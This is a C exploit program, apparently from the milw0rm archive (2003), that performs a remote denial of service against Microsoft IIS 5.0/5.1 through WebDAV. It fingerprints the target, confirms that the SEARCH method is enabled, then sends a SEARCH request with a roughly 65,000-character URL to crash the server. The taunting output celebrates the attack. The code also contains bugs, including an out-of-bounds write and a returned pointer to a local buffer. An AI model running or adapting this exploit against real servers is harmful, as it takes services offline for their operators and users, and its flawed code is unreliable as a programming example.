/*
Microsoft IIS versions 5.0 and 5.1 remote denial of service exploit
that makes use of the vulnerability recently published by SPI dynamics
Published on 31.05.2003
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
void graphitte()
{printf("\n********************************** ");
printf("\n Webdav MICROSOFT IIS DoS Exploit * \n");
printf("+++++++++++++++++++++++++++++++*\n");
printf(" by Shachank Pandrey *\n");
printf("*************************************\n");
}
char *funk(char tobesent[100],char *host)
{
int s; char got[100];
WSADATA wsaData;
struct hostent *yo;
struct sockaddr_in heck;
char lala[100];
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error starting winsock..");
return 0;
}
if ((yo = gethostbyname(host))==0){
printf("error: can't resolve '%s'",host);
return 0;
}
heck.sin_port = htons(80);
heck.sin_family = AF_INET;
heck.sin_addr = *((struct in_addr *)yo->h_addr);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("Error: Unable to create socket");
}
if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
printf("Error: Cudn't Connect\r\n");
}
memset(lala,0,sizeof(lala));
sprintf(lala,"%s",tobesent,sizeof(tobesent));
send(s,lala,strlen(lala),0);
recv(s,got,100,0);
return got;
closesocket(s);
WSACleanup();
printf("done.\n");
}
int main(int argc, char *argv[])
{
WSADATA wsaData;
int s;char mysend[100];
char *gotme;
char trash[100];
struct hostent *yo;
struct sockaddr_in heck;
char buffer[65535] ="";
char myrequest[80000];
char content[] =
"<?xml version=\"1.0\"?>\r\n"
"<g:searchrequest xmlns:g=\"DAV:\">\r\n"
"<g:sql>\r\n"
"Select \"DAV:displayname\" from scope()\r\n"
"</g:sql>\r\n"
"</g:searchrequest>\r\n";
graphitte();
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("Error :Cudn't initiate winsock!");
return 0;
}
if(argc<2)
{printf("\nUsage : %s <I.P./Hostname>\n\n",argv[0]);
exit(0);}
if ( (yo = gethostbyname(argv[1]))==0)
{
printf("error: can't resolve '%s'",argv[1]);
return 1;
}
printf("\nChecking web server %s\n",argv[1]);
gotme=(char *)funk("GET / HTTP/1.0\r\n\n",argv[1]);
if (strstr(gotme,"IIS/5.0") == NULL)
{ printf("\n\r----> %s is not running IIS 5.0! adios !\n",argv[1]); }
else
{
printf("\n\r----> Aww rite! IIS 5.0 found on %s !\n",argv[1]);
sprintf(mysend,"SEARCH / HTTP/1.0\r\n\n",40);
gotme=(char *)funk(mysend,argv[1]);
if (strstr(gotme,"HTTP/1.1 411 Length Required") != NULL)
{ printf("\n\r----> METHOD SEARCH ALLOWED\r\n"); }
else
{
printf("\n----> Method SEARCH not Allowed ! adios...\n");
exit(0);
}
heck.sin_port = htons(80);
heck.sin_family = AF_INET;
heck.sin_addr = *((struct in_addr *)yo->h_addr);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("error: can't create socket");
return 1;
}
if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
printf("Error:Cudn't Connect\r\n");
return 1;
}
buffer[sizeof(buffer)]=0x00;
memset(buffer,'S',sizeof(buffer));
memset(myrequest,0,sizeof(myrequest));
memset(trash,0,sizeof(trash));
sprintf(myrequest,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\
nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]);
sprintf(myrequest,"%s%d\r\n\r\n",myrequest,strlen(content));
printf("\r\nDoSsing the server...<pray>\n");
send(s,myrequest,strlen(myrequest),0);
send(s,content,strlen(content),0);
recv(s,trash,sizeof(trash),0);
if(trash[0]==0x00)
{
printf("Server is DoSsed! Now run !! F-B-eyee is after j00...\r\n");
}
else
printf("Server is prolly patched.\r\n");
closesocket(s);
}
WSACleanup();
return 1;
}
// milw0rm.com [2003-05-31]
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